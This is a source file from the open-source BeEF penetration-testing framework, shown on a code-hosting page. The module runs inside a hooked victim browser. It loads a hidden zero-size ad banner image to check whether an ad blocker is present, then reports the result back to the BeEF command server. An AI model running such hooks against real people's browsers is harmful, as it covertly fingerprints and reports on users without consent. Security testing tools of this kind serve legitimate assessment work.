Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_simple_adblock/command.js
1154 views
1
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
2
// Browser Exploitation Framework (BeEF) - https://beefproject.com
3
// See the file 'doc/COPYING' for copying permission
4
//
5
6
beef.execute(function() {
7
8
if (document.getElementById('adblock_img')) {
9
return "Img already created";
10
}
11
12
var img = new Image();
13
img.setAttribute("style","visibility:hidden");
14
img.setAttribute("width","0");
15
img.setAttribute("height","0");
16
img.src = 'http://simple-adblock.com/adblocktest/files/adbanner.gif';
17
img.id = 'adblock_img';
18
img.setAttribute("attr","start");
19
img.onerror = function() {
20
this.setAttribute("attr","error");
21
};
22
img.onload = function() {
23
this.setAttribute("attr","load");
24
};
25
26
document.body.appendChild(img);
27
28
setTimeout(function() {
29
var img = document.getElementById('adblock_img');
30
if (img.getAttribute("attr") == "error") {
31
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock returned an error');
32
} else if (img.getAttribute("attr") == "load") {
33
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is disabled or not installed');
34
} else if (img.getAttribute("attr") == "start") {
35
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is enabled');
36
};
37
document.body.removeChild(img);
38
}, 10000);
39
40
});
41
42